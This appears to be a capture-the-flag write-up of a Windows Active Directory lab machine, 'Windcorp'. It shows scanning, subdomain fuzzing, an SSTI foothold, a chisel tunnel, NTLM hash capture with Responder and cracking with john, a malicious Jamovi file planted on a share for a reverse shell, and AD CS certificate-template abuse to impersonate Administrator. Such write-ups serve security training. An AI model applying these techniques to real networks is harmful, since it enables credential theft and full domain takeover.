$ nmap -p- --min-rate 5000 -Pn 10.129.190.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-15 04:21 EDT
Nmap scan report for 10.129.95.208
Host is up (0.024s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
49703/tcp open unknown
Windcorp -> SSTI
crackmapexec can be used to enumerate domain name.
Visiting windcorp.htb does not show anything though. In this case, we can do a sub-domain enumeration and find something.
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.windcorp.htb' --hc=404 -u https://windcorp.htb
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 1007 L 3245 W 46774 Ch "www"
Add the domains to the /etc/hosts file, and www is visited it shows a typical corporate page:
When we fill in the Contact and try to submit, it let's us preview our submission at preview.asp.
Here's the HTTP request for the Send function, which is a GET request to save.asp:
GET /save.asp?name=test&email=test%40website.com&subject=test&message=test HTTP/2Host:www.windcorp.htbCookie:ASPSESSIONIDAEDSDSSQ=PAFDFIPAFOLMPNMELMKFNMFLUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:https://www.windcorp.htb/Upgrade-Insecure-Requests:1Sec-Fetch-Dest:documentSec-Fetch-Mode:navigateSec-Fetch-Site:same-originSec-Fetch-User:?1Te:trailers
Interesting. Since this is using asp, and the output is printed on another screen, we can test some SSTI. I used this payload:
And this was returned:
This confirms that SSTI is possible on this machine, and that we can use this to gain a reverse shell (if there's no AMSI / AppLocker).
Perhaps the first thing we notice is that we are already the SYSTEM user. This is a little early for an Insane machine, so it's probably one of the hosts in the domain. I thought that there would be a flag within the administrator's desktop, but instead I got a certificate:
We can see that it makes requests to a softwareportal.windcorp.htb domain. However, when trying to visit it, nothing is loaded. This must mean that the domain is listening within the machine only.
First, let's see if there are any web servers active on the machine itself.
The error tells me that there's something present there, so let's do some port forwarding for the machine using chisel.
# on kalichiselserver-p5555--reverse# on Windows.\chisel.execlient10.10.14.14:5555R:socks
Afterwards, we can add softwareportal.windcorp.htb within our /etc/hosts file under 172.25.80.1, and visit it using our browser (with FoxyProxy Proxychains).
VNC -> Responder Creds
Within the software present on the page, we can see that there is a VNC service available.
When we click on it, it would show us this page before going back to the main website. The URL also contains another IP address:
Since VNC is like an RDP software, there might potentially be credentials beign sent in the packets, so I started wireshark and also changed the client parameter to be my IP address. When the packets are viewed, we can see a lot of failed TCP requests:
This occurs because port 5985 is not open on our machine. So, using this SSRF, we can start responder and intercept the request to retrieve any NTLM hashes, which works:
We can then crack this hash easily using john:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Secret123 (localadmin)
1g 0:00:00:00 DONE (2023-05-15 11:38) 1.515g/s 3171Kp/s 3171Kc/s 3171KC/s Smudge2..SaS1993
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Then, we can verify these creds with with SMB:
$ crackmapexec smb 10.129.190.189 -u localadmin -p Secret123
if result['type'] is not 'searchResEntry':
SMB 10.129.190.189 445 EARTH [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
SMB 10.129.190.189 445 EARTH [+] windcorp.htb\localadmin:Secret123
Diego Shell
SMB Access
We can enumerate the shares as localadmin.
$ smbmap -u 'localadmin' -p 'Secret123' -H 10.129.190.189
[+] IP: 10.129.190.189:445 Name: windcorp.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
CertEnroll READ ONLY Active Directory Certificate Services share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
Shared READ ONLY
SYSVOL READ ONLY Logon server share
We can view Shared first.
$ smbclient //10.129.190.189/Shared -U 'windcorp.htb/localadmin'
Password for [WINDCORP.HTB\localadmin]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Apr 28 11:06:06 2021
.. D 0 Wed Apr 28 11:06:06 2021
Documents D 0 Tue Apr 27 00:09:25 2021
Software D 0 Thu Jul 22 14:14:16 2021
I got a bit lazy, so I recursively downloaded all of the files from this share.
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \Software\7z1900-x64.exe of size 1447178 as Software/7z1900-x64.exe (2355.4 KiloBytes/sec) (average 2355.4 KiloBytes/sec)
getting file \Software\jamovi-1.6.16.0-win64.exe of size 247215343 as Software/jamovi-1.6.16.0-win64.exe (13699.2 KiloBytes/sec) (average 13325.7 KiloBytes/sec)
getting file \Software\VNC-Viewer-6.20.529-Windows.exe of size 10559784 as Software/VNC-Viewer-6.20.529-Windows.exe (13306.2 KiloBytes/sec) (average 13324.9 KiloBytes/sec)
getting file \Documents\Analytics\Big 5.omv of size 6455 as Documents/Analytics/Big 5.omv (191.0 KiloBytes/sec) (average 13302.1 KiloBytes/sec)
getting file \Documents\Analytics\Bugs.omv of size 2897 as Documents/Analytics/Bugs.omv (101.0 KiloBytes/sec) (average 13282.7 KiloBytes/sec)
getting file \Documents\Analytics\Tooth Growth.omv of size 2142 as Documents/Analytics/Tooth Growth.omv (77.5 KiloBytes/sec) (average 13264.1 KiloBytes/sec)
getting file \Documents\Analytics\Whatif.omv of size 2841 as Documents/Analytics/Whatif.omv (106.7 KiloBytes/sec) (average 13246.2 KiloBytes/sec)
Here, we can see some .exe and .omv files, which are associated with Javmovi.
Javmovi RCE
When researhcing for Jamovi exploits, I came across this:
The author of the PoC above is also the creator of this box, so I think we need to exploit something similar for this. The intended method is probably to run and install Jamovi on a Windows instance and then perform the XSS, but there are faster methods, such as here:
We can follow this PoC and unzip the file, then modify our metadata to include our XSS payload. First, let's craft our JS shell:
Afterwards, re-zip the Whatif.omv file together, and host the respective Python HTTP servers. Then, we need to use smbclient to delete the old Whatif.omv file on the share and replace it with our own.
smb: \Documents\Analytics\> del Whatif.omv
smb: \Documents\Analytics\> put Whatif.omv
putting file Whatif.omv as \Documents\Analytics\Whatif.omv (130.9 kb/s) (average 130.9 kb/s)
Then we just wait. After a while, we would start to get calls on our HTTP servers and get a reverse shell as the user.
We can then grab the user flag.
Privilege Escalation
ESC1 Exploit
Earlier, we saw a share about CertEnroll, which is a possible exploit path to get an Administrator shell. First, let's use Certify.exe to locate any vulnerable templates on the machine.
C:\Users\diegocruz\Desktop>.\Certify.exe find
<TRUNCATED>
CA Name : earth.windcorp.htb\windcorp-CA
Template Name : Web
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Server Authentication
mspki-certificate-application-policy : Server Authentication
Permissions
Enrollment Permissions
Enrollment Rights : WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
All Extended Rights : WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
Object Control Permissions
Owner : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
Full Control Principals : WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
WriteOwner Principals : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
WriteDacl Principals : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
WriteProperty Principals : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
It seems that the webdevelopers group has Full Control over this one template, and makes it vulnerable to some exploits:
However, we have to note that this template is used for Server Authentication instead of Client Authentication. This means that we cannot directly request a certificate and use rubeus to obtain the NTLM hash of the administrator yet.
We have to either change this or make it such that we can still impersonate the administrator. I couldn't really figure this part out, so I used a writeup that redirected me to this repo:
The repo itself explains the exploit in detail, something I found rather helpful. Basically, we want to create a 'Smart Card' for the user, and allow the certificate to be used for Smart Card authentication. This would allow us to impersonate the user using this new certificate.
Get-SmartCardCertificate-Identity Administrator -TemplateName Web -NoSmartCard
Afterwards, when we check Certify.exe, we can see that the vulnerable template has changed:
CA Name : earth.windcorp.htb\windcorp-CA
Template Name : Web
<TRUNCATED>
pkiextendedkeyusage : Server Authentication, Smart Card Logon
mspki-certificate-application-policy : Server Authentication, Smart Card Logon
Afterwards, we can use Get-ChildItem to retrieve the certificate's ID, and rubeus to request for the NTLM hash of the administrator: